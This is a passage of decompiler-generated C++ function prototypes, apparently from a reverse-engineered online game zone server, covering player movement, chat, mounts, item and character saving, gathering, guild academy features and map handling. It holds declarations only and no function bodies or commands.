ShineObjectClass::ShinePlayer::so_SaveMisc2WMS(void *this, int buffer); int __thiscall ShineObjectClass::ShinePlayer::so_SaveCharTitle(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_ply_SavePKCount(void *this, int buf); int __thiscall ShineObjectClass::ShinePlayer::so_SaveChestInfo(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveLevel(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveStat(void *this, int buf); signed int __thiscall ShineObjectClass::ShinePlayer::so_SaveGameData(void *this, int buf); char __thiscall AbnormalStateSaver::lid_Call(AbnormalStateSaver *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::so_SaveAbstate(void *this, int buffer, int charid); int __thiscall ShineObjectClass::ShinePlayer::so_SaveItem(void *this, int buf); void __thiscall GameDBSession::gds_NC_CHARSAVE_ALL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::NC_CHARSAVE_QUEST_DOING_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_ABSTATE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_SKILL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_REST_EXP_LAST_EXEC_TIME_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_CHARSAVE_AUTO_PICK_SAVE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); int __thiscall ItemSmallBag::isb_FullBufferItem2Server(ItemSmallBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int bufsize); int __thiscall ItemSmallBag::isb_ItemCount_Output(ItemSmallBag *this); void __thiscall WholeSaver::_WholeSaver(WholeSaver *this); void __thiscall WholeSaver::ws_save2DB(WholeSaver *this, #331 *, char, int); void __thiscall EventSaveCheck::EventSaveCheck(EventSaveCheck *this); char __thiscall ShineObjectClass::ShinePlayer::so_SaveItem_Part(void *this, int nc, int buf); void __thiscall WholeSaver::WholeSaver(WholeSaver *this); void __thiscall CharaterSkillList::csl_FillSaveBuffer(CharaterSkillList *this, PROTO_NC_CHARSAVE_SKILL_REQ *buf, int SkillSaveCheck); int __thiscall ShineObjectClass::ShinePlayer::so_SaveSkill(void *this, int buffer, int SkillSaveCheck); char __thiscall MoveManager::mm_IsInReinforceMove(MoveManager *this); void __thiscall BriefInfoBackup::bib_Backup(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_To(int this, int to); bool __thiscall ShineObjectClass::ShinePlayer::sp_MoveLocationCheck_From(int this, int from); char __thiscall ShineObjectClass::ShinePlayer::sp_MovePathBlockCheck(void *this, int pFrom, int nBlockCnt, int nMaxBlock); void __thiscall ShineObjectClass::ShineObject::so_ply_AdminCommand(ItemAttributeClass *this, ItemTotalInformation *iti, char nEndureGrade); void __thiscall AxialListMobDistribute::_AxialListMobDistribute(AxialListMobDistribute *this); char __thiscall AxialListMobDistribute::ali_Work(AxialListMobDistribute *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineObject::so_ply_LoginIPSet(AmpersandCommand *this, unsigned __int16 handle, #440 *sp, int argnum, char (*arg)[33]); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_JUMP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ReinforceStopHere(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_STOP_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_WALK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_RUN_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHANGEMODE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PITCHTENT_REQ(void *this, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_FOLDTENT_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVEWALK_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_MOVERUN_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SendMoveFail(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_ACTIONBYITEM_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICON_CMD(void *this, int netcmd, int len, int handle); void __thiscall ShineObjectClass::ShinePlayer::sp_DoEmotion(void *this, __int16 handle, unsigned __int8 emoticonID); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_EMOTICONSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_CHAT_REQ(void *this, int netcmd, int len, signed int handle); void __stdcall ShineObjectClass::ShineObject::so_Chat(__int16 reciever, int chatstr, int len, char chatwin); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_SHOUT_CMD(void *this, int netcmd, int len, signed int handle); void __stdcall ShineObjectClass::ShineObject::so_Shout(__int16 reciever, int chatername, int chatstr, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_MobDistribute(void *this); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SendSpeedInformation(void *this); void __thiscall ShineObjectClass::ShineMobileObject::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf); void __thiscall ShineObjectClass::ShinePlayer::so_ReinforceMove(void *this, int towhere, int speed, int mvdir, int buf); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_StopHere(void *this); void __thiscall ClientSession::ClientSession(ClientSession *this); void __thiscall ClientSessionNull::ClientSessionNull(ClientSessionNull *this); void __thiscall ClientSession::_ClientSession(ClientSessionNull *this); void __thiscall ClientSessionManager::ClientSessionManager(ClientSessionManager *this); void __thiscall ClientSessionManager::_ClientSessionManager(ClientSessionManager *this); int __thiscall ClientSession::CheckHeartBeat(ClientSession *this, int interval); char __thiscall ClientSession::Send_NC_MISC_SEED_ACK(ClientSession *this, int seed); char __thiscall ZoneListenSession::zls_TravelComplete(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); #331 *__thiscall ZoneListenSession::zls_FindPlayer(ZoneListenSession *this, ZONERINGLINKAGESTART *startblock); void __thiscall ZoneListenSession::ZoneListenSession(ZoneListenSession *this); void __thiscall ZoneListenSession::_ZoneListenSession(ZoneListenSession *this); ZoneListenSession *__thiscall OPToolSession::opts_ActivSession(ZoneListenSession *this, unsigned int SocketAccept, sockaddr *pAddr); int __thiscall PROTO_NC_CHAR_PLAYERSUMMON_RNG::operator_(int this, int a2); int __thiscall PROTO_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG::operator_(int this, int a2); void __thiscall ZoneListenSession::zls_DummyFunction(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_HEARTBEAT_REQ(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MISC_ZONERINGLINKTEST_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSUMMON_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_KICKPLAYEROUT_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERBANNED_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_EXPBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_MAP_ITEMBONUS_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERSEARCH_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); void __thiscall ZoneListenSession::zls_NC_CHAR_PLAYERFOUND_BY_NORMAL_USER_RNG(ZoneListenSession *this, NETCOMMAND *netcmd); int __thiscall ClientSessionManager::InitSessions(ClientSessionManager *this, int MaxSessions); unsigned __int16 __thiscall DamageByAngle::DamageTable::operator__(DamageByAngle::DamageTable *this, int delta); void __thiscall DamageByAngle::DamageTable::dt_Load(DamageByAngle::DamageTable *this, Name4 *world, char *table); void __thiscall DefSkillData::dsd_Store(DefSkillData *this, unsigned __int16 skl, char tomage); unsigned __int16 __thiscall ShineObjectClass::ShinePlayer::sp_HorseError(void *this, unsigned __int16 err); int __thiscall ShineObjectClass::ShinePlayer::sp_HorseFree(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_MiniHouseFree(void *this); bool __thiscall ShineObjectClass::ShinePlayer::sp_HorseNotHungry(int this); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_GetHorseFeed(int this); void __thiscall DefSkillData::DefSkillData(DefSkillData *this); void __thiscall DefSkillData::dsd_SetDefault(DefSkillData *this, PROTO_NC_CHAR_SKILL_CMD *data, CharClass *cc); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseCast(void *this, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_ItemAttrSave(void *this, int ridecell, int itembox, int slot); void __thiscall ShineObjectClass::ShinePlayer::sp_SendHorseHungry(void *this, int hungry); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemUseResultPacket(void *this, __int16 errorcode, char invenType); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseItemSave(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_HorseFeed(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOn(void *this, unsigned __int8 skillcooltime); void __thiscall ShineObjectClass::ShinePlayer::sp_HorseOff(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_ACT_RIDE_FEEDING_REQ(int a1, int a2, int netcmd, int foodcell, __int16 handle); void __thiscall DirectDistanceTable::ddt_Initialize(DirectDistanceTable *this); int __thiscall DirectDistanceTable::ddt_ShineRadianDiff(DirectDistanceTable *this, int mydir, int targetdir, int *sign); void __thiscall DropItemAnalyzer::dia_Set(DropItemAnalyzer *this, unsigned __int16 mob, unsigned __int16 itm); void __thiscall DropLoc::SameDistanceCluster::SameDistanceCluster(DropLoc::SameDistanceCluster *this); // void __thiscall DropLoc::SameDistanceCluster::_SameDistanceCluster(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_shuffle(DropLoc::SameDistanceCluster *this); void __thiscall DropLoc::SameDistanceCluster::sdc_Init(DropLoc::SameDistanceCluster *this, int number); void __thiscall DropLoc::SameDistanceCluster::sdc_Setsixpoint(DropLoc::SameDistanceCluster *this, int x1024, int y1024); char __thiscall DropLoc::SameDistanceCluster::sdc_Getdelta(DropLoc::SameDistanceCluster *this, int sub, SHINE_XY_TYPE *loc, int scale); void __thiscall DropLocationManager::DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::_DropLocationManager(DropLocationManager *this); void __thiscall DropLocationManager::dlm_Load(DropLocationManager *this); void __thiscall DropLocationManager::dlm_home(DropLocationManager *this, int startcluster); char __thiscall DropLocationManager::dlm_next(DropLocationManager *this); char __thiscall DuplicatedMenuControl::dmc_CanMenuOpen(DuplicatedMenuControl *this, unsigned __int16 menu); ItemEquipEnum __thiscall EquipEnumChanger::eec_EquipLocation(EquipEnumChanger *this, ItemInfoServer *iis, ItemBag *equipment); void __thiscall EquipEnumChanger::eec_ConflictWithNewEquip(EquipEnumChanger *this, ItemInfoServer *iis, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, InventoryLocking::InventoryCellLockList *lock); void __thiscall EquipEnumChanger::eec_ConflictWithOldEquip(EquipEnumChanger *this, EquipEnumChanger::ExclusiveCell *excell, int *excellnum, ItemBag *equipment, ItemEquipEnum equipslot, InventoryLocking::InventoryCellLockList *lock); void __thiscall Name8::Name8(Name8 *this, const char *str); int __thiscall Name8::operator__(Name8 *this, Name8 *nm); void __thiscall VectorClass::VectorWithLength::_VectorWithLength(VectorClass::VectorWithLength *this); void __thiscall VectorClass::VectorWithLength::vwl_Scale(VectorClass::VectorWithLength *this, int newdist); void __thiscall MapLoadLog::mll_Write(MapLoadLog *this, Name3 *mapid); void __thiscall MapSubString::MapSubString(MapSubString *this, char *from, char *to); void __thiscall MapSubString::mss_Home(MapSubString *this); char *__thiscall MapSubString::mss_Get(MapSubString *this); char __thiscall MapSubString::mss_Next(MapSubString *this); signed int __thiscall FieldMap::fm_Regist2WMS(int this, int lst, __int16 hnd, int arg); int __thiscall FieldMap::fm_MoveCenter(int this, int xy); bool __thiscall FieldMap::fm_InMap(int this, int x, int y); void __thiscall MapRearrangeObserver::_MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall AxialListNumberCount::_AxialListNumberCount(AxialListNumberCount *this); char __thiscall AxialListNumberCount::ali_Work(AxialListNumberCount *this, #331 *, #331 *, unsigned int); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall VectorClass::VectorWithLength::VectorWithLength(VectorClass::VectorWithLength *this, SHINE_XY_TYPE *a, SHINE_XY_TYPE *b); void __thiscall FieldMap::fm_Relink(void *this, const char *from); void __thiscall MapRearrangeObserver::MapRearrangeObserver(MapRearrangeObserver *this); void __thiscall MapRearrangeObserver::mro_Set(MapRearrangeObserver *this, char *idx); void __thiscall FieldMap::fm_DistrubuteCalculate(void *this, int map, int ply, int mob); signed int __thiscall FieldMap::fm_FindBlockLocation(void *this, int start, signed int distance, int div, int block, int (__thiscall *xcoord)(_DWORD, _DWORD, _DWORD)); int __thiscall FieldMap::fm_GetGuildTournamentSystem(void *this); char __thiscall FieldMap::fm_GuildTournamentEnemy(void *this, unsigned int a, unsigned int b); int __thiscall FieldMap::fm_GetSaveLinktoData(void *this); void __thiscall FieldMap::fm_SetSaveLinktoData(void *this, const void *rInfo); int __thiscall FieldMap::fm_GetCenterObject(void *this); char __thiscall FieldMap::fm_GetRegenCityLinkData(void *this, int pRegenCity); char __thiscall FieldMap::fm_IsStraightPath(void *this, int from, int to, int (__thiscall *mbi_blockfunction)(_DWORD, _DWORD, _DWORD)); void __thiscall std::_Tree_std::allocator_0>>::_Lrotate(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Dec(std::_Tree,std::allocator,0> >::const_iterator *this); int __cdecl ListFunctionCall(List *lst, PROTO_NC_MAP_REGIST_CMD *arg, int (__thiscall *func)(List *, unsigned __int16, PROTO_NC_MAP_REGIST_CMD *)); void __thiscall List::l_Clear(List *this); int __thiscall FieldMap::fm_Init(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall FieldContainer::fc_MapRegist(FieldContainer *this, WorldManagerSession *wms); void __thiscall FieldContainer::fc_MakeField(FieldContainer *this, Name4 *world, FieldOption::FieldAttr *fldtemplet, Name3 *mapid, int serial, char machine); int std::_Tree_std::allocator_0>>::_Buynode(...); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall FieldContainer::fc_Load(FieldContainer *this, Name4 *world); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, AbnormalStateInfo::ABSTATEINDEX *_Keyval); int __stdcall loc_444C64(int result, int _Keyval); // weak bool __thiscall FieldMap::fm_IsRefuseAbstate(std::_Tree,std::allocator,0> >::iterator this, int idx); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, AbnormalStateInfo::ABSTATEINDEX *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); void __thiscall std::vector>::_Xlen(std::vector > *this); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, AbnormalStateInfo::ABSTATEINDEX *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, RoutionInterface *const *_Val); void __thiscall FieldMap::fm_SetRefuseAbstate(void *this, int idx); void __thiscall FieldContainer::fc_AbstateInFieldLoad(FieldContainer *this); bool __thiscall ShineObjectClass::ShineAxialFlag::safm_SetLinkRoutionInterface(ShineObjectClass::ShineAxialFlag *this, RoutionInterface *pInterFace); void __thiscall std::set_std::allocator>::_set_std::allocator>(std::set,std::allocator > *this); void __thiscall FieldMap::_FieldMap(int this); void __thiscall FieldContainer::_FieldContainer(FieldContainer *this); int __thiscall FieldMap::fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall List::l_PushA(List *this, #592 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall FieldMap::operator_(int this, int a2); std::_Tree,std::allocator,0> > *__thiscall std::_Tree_std::allocator_0>>::operator_(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *result); void __thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> > *_Right); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Copy(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode); // void __usercall _L170514(int a1); char __thiscall List::l_PushZ(List *this, #592 *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, #592 *ele); char __thiscall List::l_PopZ(List *this, #592 *ele); int __thiscall FieldMap::FieldMap(_DWORD, _DWORD); // weak int __thiscall ShineObjectClass::ShineObject::so_MapMarking(_DWORD, _DWORD); // weak void __thiscall FieldContainer::FieldContainer(FieldContainer *this); signed int __thiscall ShineObjectClass::ShineObject::so_MapMarkingAtDefaultCoord(void *this); void __thiscall FunctionProfiler::FunctionPerformance::fp_Clear(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::FunctionPerformance::fp_Report(FunctionProfiler::FunctionPerformance *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopHead(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionCallingAnalyzer::FunctionCallingAnalyzer(FunctionCallingAnalyzer *this); void __thiscall FunctionCallingAnalyzer::fca_NetCommandStorage(FunctionCallingAnalyzer *this, NETCOMMAND *nc); void __thiscall FunctionCallingAnalyzer::fca_printf(FunctionCallingAnalyzer *this, char *filename); std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Min(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode); void __thiscall std::_Tree_std::allocator_0>>::const_iterator::_Inc(std::_Tree,std::allocator,0> >::const_iterator *this); int std::_Tree_std::allocator_0>>::_Buynode(...); std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this); void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode); std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt); void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val); std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where); std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val); int std::_Tree_std::allocator_0>>::erase(...); void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname); void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this); void __thiscall GameDBSession::GameDBSession(GameDBSession *this); void __thiscall GameDBSession::_GameDBSession(GameDBSession *this); void __thiscall SocketBundle::sb_Varification(SocketBundle *this, GameDBSession *sock); void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_RDY(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_S2SCONNECTION_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_MISC_HEARTBEAT_REQ(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_OPENSTORAGE_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::GameLogSession(GameLogSession *this); void __thiscall GameLogSession::_GameLogSession(GameLogSession *this); void __thiscall GameLogSession::gls_DummyFunction(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_RDY(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_S2SCONNECTION_ACK(GameLogSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameLogSession::gls_NC_MISC_HEARTBEAT_REQ(GameLogSession *this, NETCOMMAND *netcmd, int len); SkillDataBox::SpecialSkill *__thiscall SkillDataBox::sdb_SpecSkillStruct(SkillDataBox *this); char __thiscall CharaterSkillList::csl_CoolTimeCheck(CharaterSkillList *this, #331 *, unsigned __int16); int __cdecl GatherProduce::RecipeBook::rb_Compare(const void *a, const void *b); unsigned __int16 __thiscall ShineObjectClass::ShineObject::so_mob_CanGathered(#331 *this, #440 *, unsigned __int16 *); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall GatherProduce::GatherTable::GatherTable(GatherProduce::GatherTable *this); void __thiscall GatherProduce::GatherTable::gt_Load(GatherProduce::GatherTable *this); void __thiscall GatherProduce::RecipeBook::RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::_RecipeBook(GatherProduce::RecipeBook *this); void __thiscall GatherProduce::RecipeBook::rb_Load(GatherProduce::RecipeBook *this); unsigned __int16 __thiscall CharaterSkillList::csl_PreProduceCheck(CharaterSkillList *this, #440 *, unsigned __int16, GatherProduce::RecipeBook::ProductIndex *); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_GatherCheck(void *this, int gathertype, int picker); unsigned __int16 __thiscall ShineObjectClass::ShineMob::so_mob_CanGathered(#440 *, unsigned __int16 *); int __thiscall ShineObjectClass::ShinePlayer::sp_GatherComplete(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CAST_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_PRODUCE_CASTABORT_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ItemProducer::ItemProducer(ItemProducer *this, #440 *, ItemBag *, GatherProduce::RecipeBook::ProductIndex *); void __thiscall ItemProducer::_ItemProducer(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_WhereProductStore(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_FindRaw(ItemProducer *this, unsigned __int16 raw, int quantity); unsigned __int16 __thiscall ItemProducer::ip_ProduceCheck(ItemProducer *this); unsigned __int16 __thiscall ItemProducer::ip_ProductExecute(ItemProducer *this, #440 *, NETCOMMAND *, PROTO_NC_ITEMDB_PRODUCE_REQ *); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_ItemProduce(void *ecx0, unsigned __int16 skill); void __thiscall GameDBSession::gds_NC_ITEMDB_PRODUCE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_PRODUCTFIELD_REQ(void *this, int netcmd, int len, __int16 handle); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Gather(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ACT_GATHERCOMPLETE_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStoreGradeFill(int this, char Grade); bool __thiscall ShineObjectClass::ShinePlayer::so_ply_isGuildAcademyRewardStoreGrade(int this); void __thiscall GameDBSession::gds_NC_ITEMDB_GUILD_ACADEMY_REWARD_STORAGE_OPEN_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ListIteratorDefault::lid_Call(ListIteratorDefault *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall ShineGuildAcademyRewardStorageDeactive::lid_Call(ShineGuildAcademyRewardStorageDeactive *this, #331 *, unsigned __int16); void __thiscall ShineGuildAcademyGuildBuff::ShineGuildAcademyGuildBuff(ShineGuildAcademyGuildBuff *this, PROTO_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD *pGuildBuff); char __thiscall ShineGuildAcademyGuildBuff::lid_Call(ShineGuildAcademyGuildBuff *this, #331 *, unsigned __int16); char __thiscall ShineGuildAcademyMasterBuff::lid_Call(ShineGuildAcademyMasterBuff *this, #331 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardAck(void *this, int reward_ack); void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildAcademyRewardStorageRewardZoneRng(void *this, int reward); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_LEAVE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MASTER_TELEPORT_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_MEMBER_GUILD_JOIN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall WorldManagerSession::wms_NC_GUILD_ACADEMY_ZONE_GUILD_BUFF_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall 